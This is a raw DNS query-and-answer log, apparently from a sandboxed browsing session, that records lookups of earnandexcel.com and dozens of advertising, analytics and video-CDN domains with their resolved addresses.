Apr 11, 2024 23:28:13.411581039 CEST	192.168.2.17	1.1.1.1	0x9e34	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.524600029 CEST	192.168.2.17	1.1.1.1	0x1615	Standard query (0)	a.tribalfusion.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.524775028 CEST	192.168.2.17	1.1.1.1	0xc904	Standard query (0)	a.tribalfusion.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.605211973 CEST	192.168.2.17	1.1.1.1	0x90df	Standard query (0)	cs.yellowblue.io	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.605355978 CEST	192.168.2.17	1.1.1.1	0x15c6	Standard query (0)	cs.yellowblue.io	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.609728098 CEST	192.168.2.17	1.1.1.1	0xd14e	Standard query (0)	visitor.omnitagjs.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.609858036 CEST	192.168.2.17	1.1.1.1	0x8f74	Standard query (0)	visitor.omnitagjs.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.613359928 CEST	192.168.2.17	1.1.1.1	0xb584	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.613506079 CEST	192.168.2.17	1.1.1.1	0xcc63	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.659981966 CEST	192.168.2.17	1.1.1.1	0x8543	Standard query (0)	prebid-s2s.media.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.660132885 CEST	192.168.2.17	1.1.1.1	0x893c	Standard query (0)	prebid-s2s.media.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.698220015 CEST	192.168.2.17	1.1.1.1	0x52e5	Standard query (0)	cs.minutemedia-prebid.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.698362112 CEST	192.168.2.17	1.1.1.1	0x6e87	Standard query (0)	cs.minutemedia-prebid.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.699336052 CEST	192.168.2.17	1.1.1.1	0xea27	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.699460983 CEST	192.168.2.17	1.1.1.1	0x3ee1	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:13.825042009 CEST	192.168.2.17	1.1.1.1	0xbf56	Standard query (0)	faves.grow.me	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.825189114 CEST	192.168.2.17	1.1.1.1	0x8ed7	Standard query (0)	faves.grow.me	65	IN (0x0001)	false
Apr 11, 2024 23:28:14.009876966 CEST	192.168.2.17	1.1.1.1	0x8b5e	Standard query (0)	feed.pghub.io	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.010036945 CEST	192.168.2.17	1.1.1.1	0x6f4	Standard query (0)	feed.pghub.io	65	IN (0x0001)	false
Apr 11, 2024 23:28:14.075386047 CEST	192.168.2.17	1.1.1.1	0x7365	Standard query (0)	a.tribalfusion.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.075568914 CEST	192.168.2.17	1.1.1.1	0xe222	Standard query (0)	a.tribalfusion.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:14.083657980 CEST	192.168.2.17	1.1.1.1	0x3bed	Standard query (0)	ads.yieldmo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.083875895 CEST	192.168.2.17	1.1.1.1	0xd599	Standard query (0)	ads.yieldmo.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:14.146754980 CEST	192.168.2.17	1.1.1.1	0x9522	Standard query (0)	sync.outbrain.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.146914005 CEST	192.168.2.17	1.1.1.1	0x80c6	Standard query (0)	sync.outbrain.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:14.170680046 CEST	192.168.2.17	1.1.1.1	0x4d77	Standard query (0)	prebid-s2s.media.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.170835972 CEST	192.168.2.17	1.1.1.1	0x4b5e	Standard query (0)	prebid-s2s.media.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:14.205216885 CEST	192.168.2.17	1.1.1.1	0x147e	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.205362082 CEST	192.168.2.17	1.1.1.1	0xe912	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:15.247603893 CEST	192.168.2.17	1.1.1.1	0x99a6	Standard query (0)	i.vimeocdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.247750044 CEST	192.168.2.17	1.1.1.1	0xaef8	Standard query (0)	i.vimeocdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:15.361093998 CEST	192.168.2.17	1.1.1.1	0x4e44	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.361304998 CEST	192.168.2.17	1.1.1.1	0xa6f8	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:15.365500927 CEST	192.168.2.17	1.1.1.1	0x34ca	Standard query (0)	event.hgrtb.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.365782976 CEST	192.168.2.17	1.1.1.1	0x248e	Standard query (0)	event.hgrtb.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:15.368410110 CEST	192.168.2.17	1.1.1.1	0x8292	Standard query (0)	rtb.mfadsrvr.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.368629932 CEST	192.168.2.17	1.1.1.1	0x3b27	Standard query (0)	rtb.mfadsrvr.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:15.369179964 CEST	192.168.2.17	1.1.1.1	0x9e1f	Standard query (0)	trc.taboola.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.369332075 CEST	192.168.2.17	1.1.1.1	0x78c9	Standard query (0)	trc.taboola.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:15.370127916 CEST	192.168.2.17	1.1.1.1	0xf202	Standard query (0)	sid.storygize.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.370460987 CEST	192.168.2.17	1.1.1.1	0x17de	Standard query (0)	sid.storygize.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:15.370963097 CEST	192.168.2.17	1.1.1.1	0x41	Standard query (0)	c1.adform.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.371151924 CEST	192.168.2.17	1.1.1.1	0x2af4	Standard query (0)	c1.adform.net	65	IN (0x0001)	false
Apr 11, 2024 23:28:39.253019094 CEST	192.168.2.17	1.1.1.1	0xa012	Standard query (0)	aax.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:39.253221035 CEST	192.168.2.17	1.1.1.1	0x792b	Standard query (0)	aax.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:28:39.739917994 CEST	192.168.2.17	1.1.1.1	0xcdb0	Standard query (0)	tlx.3lift.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:39.740067959 CEST	192.168.2.17	1.1.1.1	0x9582	Standard query (0)	tlx.3lift.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 11, 2024 23:26:34.692015886 CEST	1.1.1.1	192.168.2.17	0x8650	No error (0)	earnandexcel.com		162.159.135.42	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:34.714237928 CEST	1.1.1.1	192.168.2.17	0x2dbe	No error (0)	earnandexcel.com		162.159.135.42	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:35.450041056 CEST	1.1.1.1	192.168.2.17	0x722b	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:35.452466965 CEST	1.1.1.1	192.168.2.17	0xb3b5	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:39.153814077 CEST	1.1.1.1	192.168.2.17	0xf4ed	No error (0)	www.google.com		142.251.40.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:39.154668093 CEST	1.1.1.1	192.168.2.17	0xde2e	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 11, 2024 23:26:39.533890963 CEST	1.1.1.1	192.168.2.17	0xa02b	No error (0)	player.vimeo.com	player.vimeo.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:39.536201000 CEST	1.1.1.1	192.168.2.17	0xa49a	No error (0)	player.vimeo.com	player.vimeo.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:40.053116083 CEST	1.1.1.1	192.168.2.17	0x75c1	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:40.053160906 CEST	1.1.1.1	192.168.2.17	0x2ac3	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:40.053160906 CEST	1.1.1.1	192.168.2.17	0x2ac3	No error (0)	securepubads46.g.doubleclick.net		142.251.35.162	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.159688950 CEST	1.1.1.1	192.168.2.17	0x2210	No error (0)	fresnel.vimeocdn.com		34.120.202.204	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.161426067 CEST	1.1.1.1	192.168.2.17	0xb0b4	No error (0)	i.vimeocdn.com	vimeo.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:40.162164927 CEST	1.1.1.1	192.168.2.17	0xa66	No error (0)	f.vimeocdn.com	vimeo-video.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:40.162204027 CEST	1.1.1.1	192.168.2.17	0xfcc8	No error (0)	f.vimeocdn.com	vimeo-video.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:40.162204027 CEST	1.1.1.1	192.168.2.17	0xfcc8	No error (0)	vimeo-video.map.fastly.net		199.232.38.109	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.162239075 CEST	1.1.1.1	192.168.2.17	0x4c24	No error (0)	i.vimeocdn.com	vimeo.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:40.162239075 CEST	1.1.1.1	192.168.2.17	0x4c24	No error (0)	vimeo.map.fastly.net		151.101.0.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.162239075 CEST	1.1.1.1	192.168.2.17	0x4c24	No error (0)	vimeo.map.fastly.net		151.101.192.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.162239075 CEST	1.1.1.1	192.168.2.17	0x4c24	No error (0)	vimeo.map.fastly.net		151.101.64.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.162239075 CEST	1.1.1.1	192.168.2.17	0x4c24	No error (0)	vimeo.map.fastly.net		151.101.128.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.170229912 CEST	1.1.1.1	192.168.2.17	0x9aa2	No error (0)	earnandexcel.com		162.159.135.42	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.397897959 CEST	1.1.1.1	192.168.2.17	0x5e05	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:40.398847103 CEST	1.1.1.1	192.168.2.17	0x66e9	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:40.630373001 CEST	1.1.1.1	192.168.2.17	0xdde2	No error (0)	i.vimeocdn.com	vimeo.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:40.630530119 CEST	1.1.1.1	192.168.2.17	0x996b	No error (0)	i.vimeocdn.com	vimeo.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:40.630530119 CEST	1.1.1.1	192.168.2.17	0x996b	No error (0)	vimeo.map.fastly.net		151.101.192.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.630530119 CEST	1.1.1.1	192.168.2.17	0x996b	No error (0)	vimeo.map.fastly.net		151.101.0.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.630530119 CEST	1.1.1.1	192.168.2.17	0x996b	No error (0)	vimeo.map.fastly.net		151.101.64.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.630530119 CEST	1.1.1.1	192.168.2.17	0x996b	No error (0)	vimeo.map.fastly.net		151.101.128.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:41.372077942 CEST	1.1.1.1	192.168.2.17	0x17a7	No error (0)	vimeo.com		162.159.138.60	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:41.372077942 CEST	1.1.1.1	192.168.2.17	0x17a7	No error (0)	vimeo.com		162.159.128.61	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:42.117903948 CEST	1.1.1.1	192.168.2.17	0xce12	No error (0)	player.vimeo.com	player.vimeo.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:42.118396044 CEST	1.1.1.1	192.168.2.17	0x9cd6	No error (0)	player.vimeo.com	player.vimeo.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:43.138336897 CEST	1.1.1.1	192.168.2.17	0xa859	No error (0)	static.hotjar.com	static-cdn.hotjar.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:43.138336897 CEST	1.1.1.1	192.168.2.17	0xa859	No error (0)	static-cdn.hotjar.com		108.138.106.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:43.138336897 CEST	1.1.1.1	192.168.2.17	0xa859	No error (0)	static-cdn.hotjar.com		108.138.106.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:43.138336897 CEST	1.1.1.1	192.168.2.17	0xa859	No error (0)	static-cdn.hotjar.com		108.138.106.126	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:43.138336897 CEST	1.1.1.1	192.168.2.17	0xa859	No error (0)	static-cdn.hotjar.com		108.138.106.124	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:43.138685942 CEST	1.1.1.1	192.168.2.17	0xd12f	No error (0)	static.hotjar.com	static-cdn.hotjar.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:43.454592943 CEST	1.1.1.1	192.168.2.17	0x3ece	No error (0)	nitroscripts.com		172.64.154.248	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:43.454592943 CEST	1.1.1.1	192.168.2.17	0x3ece	No error (0)	nitroscripts.com		104.18.33.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:43.456491947 CEST	1.1.1.1	192.168.2.17	0x49d5	No error (0)	nitroscripts.com			65	IN (0x0001)	false
Apr 11, 2024 23:26:44.079452991 CEST	1.1.1.1	192.168.2.17	0x36c1	No error (0)	welcome.visionaryyouth.org		88.119.175.92	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:44.714987993 CEST	1.1.1.1	192.168.2.17	0xaddd	No error (0)	stats.g.doubleclick.net		172.253.62.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:44.714987993 CEST	1.1.1.1	192.168.2.17	0xaddd	No error (0)	stats.g.doubleclick.net		172.253.62.157	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:45.204199076 CEST	1.1.1.1	192.168.2.17	0xfd5a	No error (0)	stats.g.doubleclick.net		172.253.63.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:45.204199076 CEST	1.1.1.1	192.168.2.17	0xfd5a	No error (0)	stats.g.doubleclick.net		172.253.63.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:45.889478922 CEST	1.1.1.1	192.168.2.17	0x6e85	No error (0)	exchange.mediavine.com		3.211.252.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:45.889478922 CEST	1.1.1.1	192.168.2.17	0x6e85	No error (0)	exchange.mediavine.com		54.197.122.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:45.889478922 CEST	1.1.1.1	192.168.2.17	0x6e85	No error (0)	exchange.mediavine.com		3.89.95.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:45.889478922 CEST	1.1.1.1	192.168.2.17	0x6e85	No error (0)	exchange.mediavine.com		18.214.197.65	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:45.889478922 CEST	1.1.1.1	192.168.2.17	0x6e85	No error (0)	exchange.mediavine.com		54.208.143.66	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:45.889478922 CEST	1.1.1.1	192.168.2.17	0x6e85	No error (0)	exchange.mediavine.com		18.214.192.183	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:46.508316040 CEST	1.1.1.1	192.168.2.17	0x6cc2	No error (0)	keywords.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:46.509795904 CEST	1.1.1.1	192.168.2.17	0xedbe	No error (0)	keywords.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:48.873042107 CEST	1.1.1.1	192.168.2.17	0x7250	No error (0)	sc-static.net		18.238.74.246	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:49.411385059 CEST	1.1.1.1	192.168.2.17	0x6046	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:49.411385059 CEST	1.1.1.1	192.168.2.17	0x6046	No error (0)	scontent.xx.fbcdn.net		31.13.71.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:49.411432028 CEST	1.1.1.1	192.168.2.17	0x9a9d	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:49.432455063 CEST	1.1.1.1	192.168.2.17	0x9363	No error (0)	tr.snapchat.com	gcp.api.snapchat.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:49.432455063 CEST	1.1.1.1	192.168.2.17	0x9363	No error (0)	gcp.api.snapchat.com	gcp.api.sc-gw.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:49.432496071 CEST	1.1.1.1	192.168.2.17	0x8270	No error (0)	tr.snapchat.com	gcp.api.snapchat.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:49.432496071 CEST	1.1.1.1	192.168.2.17	0x8270	No error (0)	gcp.api.snapchat.com	gcp.api.sc-gw.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:49.432496071 CEST	1.1.1.1	192.168.2.17	0x8270	No error (0)	gcp.api.sc-gw.com		35.190.43.134	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:49.732745886 CEST	1.1.1.1	192.168.2.17	0xb9e0	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.035342932 CEST	1.1.1.1	192.168.2.17	0x9b86	No error (0)	sc-static.net		18.238.74.246	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.185214996 CEST	1.1.1.1	192.168.2.17	0x4609	No error (0)	s.pinimg.com	s-pinimg-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.185214996 CEST	1.1.1.1	192.168.2.17	0x4609	No error (0)	s-pinimg-com.gslb.pinterest.com	static.gslb.pinterest.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.185214996 CEST	1.1.1.1	192.168.2.17	0x4609	No error (0)	static.gslb.pinterest.net	dualstack.pinterest.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.185214996 CEST	1.1.1.1	192.168.2.17	0x4609	No error (0)	dualstack.pinterest.map.fastly.net		199.232.36.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.186109066 CEST	1.1.1.1	192.168.2.17	0xbb71	No error (0)	s.pinimg.com	s-pinimg-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.186109066 CEST	1.1.1.1	192.168.2.17	0xbb71	No error (0)	s-pinimg-com.gslb.pinterest.com	static.gslb.pinterest.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.186109066 CEST	1.1.1.1	192.168.2.17	0xbb71	No error (0)	static.gslb.pinterest.net	dualstack.pinterest.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.498451948 CEST	1.1.1.1	192.168.2.17	0x278f	No error (0)	widget.wickedreports.com		13.226.34.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.498451948 CEST	1.1.1.1	192.168.2.17	0x278f	No error (0)	widget.wickedreports.com		13.226.34.106	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.498451948 CEST	1.1.1.1	192.168.2.17	0x278f	No error (0)	widget.wickedreports.com		13.226.34.76	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.498451948 CEST	1.1.1.1	192.168.2.17	0x278f	No error (0)	widget.wickedreports.com		13.226.34.126	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.632328987 CEST	1.1.1.1	192.168.2.17	0x95e5	No error (0)	analytics.tiktok.com	analytics.tiktok.com.ttdns2.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.632328987 CEST	1.1.1.1	192.168.2.17	0x95e5	No error (0)	analytics.tiktok.com.ttdns2.com	analytics.tiktok.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.633161068 CEST	1.1.1.1	192.168.2.17	0xc8d	No error (0)	analytics.tiktok.com	analytics.tiktok.com.ttdns2.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.633161068 CEST	1.1.1.1	192.168.2.17	0xc8d	No error (0)	analytics.tiktok.com.ttdns2.com	analytics.tiktok.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.637212992 CEST	1.1.1.1	192.168.2.17	0xf236	No error (0)	script.hotjar.com		18.164.96.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.637212992 CEST	1.1.1.1	192.168.2.17	0xf236	No error (0)	script.hotjar.com		18.164.96.90	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.637212992 CEST	1.1.1.1	192.168.2.17	0xf236	No error (0)	script.hotjar.com		18.164.96.77	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.637212992 CEST	1.1.1.1	192.168.2.17	0xf236	No error (0)	script.hotjar.com		18.164.96.46	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.688433886 CEST	1.1.1.1	192.168.2.17	0x172f	No error (0)	td.doubleclick.net		142.250.80.34	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.693459034 CEST	1.1.1.1	192.168.2.17	0xa2c8	No error (0)	www.google.com		142.251.40.132	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.694111109 CEST	1.1.1.1	192.168.2.17	0x157	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 11, 2024 23:26:50.828353882 CEST	1.1.1.1	192.168.2.17	0x5f8e	No error (0)	tr.snapchat.com	gcp.api.snapchat.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.828353882 CEST	1.1.1.1	192.168.2.17	0x5f8e	No error (0)	gcp.api.snapchat.com	gcp.api.sc-gw.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.828739882 CEST	1.1.1.1	192.168.2.17	0xe864	No error (0)	tr.snapchat.com	gcp.api.snapchat.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.828739882 CEST	1.1.1.1	192.168.2.17	0xe864	No error (0)	gcp.api.snapchat.com	gcp.api.sc-gw.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:50.828739882 CEST	1.1.1.1	192.168.2.17	0xe864	No error (0)	gcp.api.sc-gw.com		35.190.43.134	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.096841097 CEST	1.1.1.1	192.168.2.17	0xccfc	No error (0)	googleads.g.doubleclick.net		142.250.65.226	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.096937895 CEST	1.1.1.1	192.168.2.17	0xb45b	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Apr 11, 2024 23:26:51.198476076 CEST	1.1.1.1	192.168.2.17	0xa072	No error (0)	www.google.com		142.251.40.100	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.198570013 CEST	1.1.1.1	192.168.2.17	0xa003	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 11, 2024 23:26:51.325254917 CEST	1.1.1.1	192.168.2.17	0x6ea4	No error (0)	faves.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.325335979 CEST	1.1.1.1	192.168.2.17	0x4dd5	No error (0)	faves.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.326530933 CEST	1.1.1.1	192.168.2.17	0x6075	No error (0)	tr.snapchat.com	gcp.api.snapchat.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.326530933 CEST	1.1.1.1	192.168.2.17	0x6075	No error (0)	gcp.api.snapchat.com	gcp.api.sc-gw.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.326530933 CEST	1.1.1.1	192.168.2.17	0x6075	No error (0)	gcp.api.sc-gw.com		35.190.43.134	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.326939106 CEST	1.1.1.1	192.168.2.17	0x8627	No error (0)	tr.snapchat.com	gcp.api.snapchat.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.326939106 CEST	1.1.1.1	192.168.2.17	0x8627	No error (0)	gcp.api.snapchat.com	gcp.api.sc-gw.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.410320044 CEST	1.1.1.1	192.168.2.17	0x1b61	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.456914902 CEST	1.1.1.1	192.168.2.17	0x58b4	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.456914902 CEST	1.1.1.1	192.168.2.17	0x58b4	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.456914902 CEST	1.1.1.1	192.168.2.17	0x58b4	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.456914902 CEST	1.1.1.1	192.168.2.17	0x58b4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.64.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.456914902 CEST	1.1.1.1	192.168.2.17	0x58b4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.0.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.456914902 CEST	1.1.1.1	192.168.2.17	0x58b4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.192.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.456914902 CEST	1.1.1.1	192.168.2.17	0x58b4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.128.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.459173918 CEST	1.1.1.1	192.168.2.17	0x8d6c	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.459173918 CEST	1.1.1.1	192.168.2.17	0x8d6c	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.459173918 CEST	1.1.1.1	192.168.2.17	0x8d6c	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:26:51.567122936 CEST	1.1.1.1	192.168.2.17	0x1626	No error (0)	track.wickedreports.com		107.21.11.116	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.567122936 CEST	1.1.1.1	192.168.2.17	0x1626	No error (0)	track.wickedreports.com		3.217.190.9	A (IP address)	IN (0x0001)	false
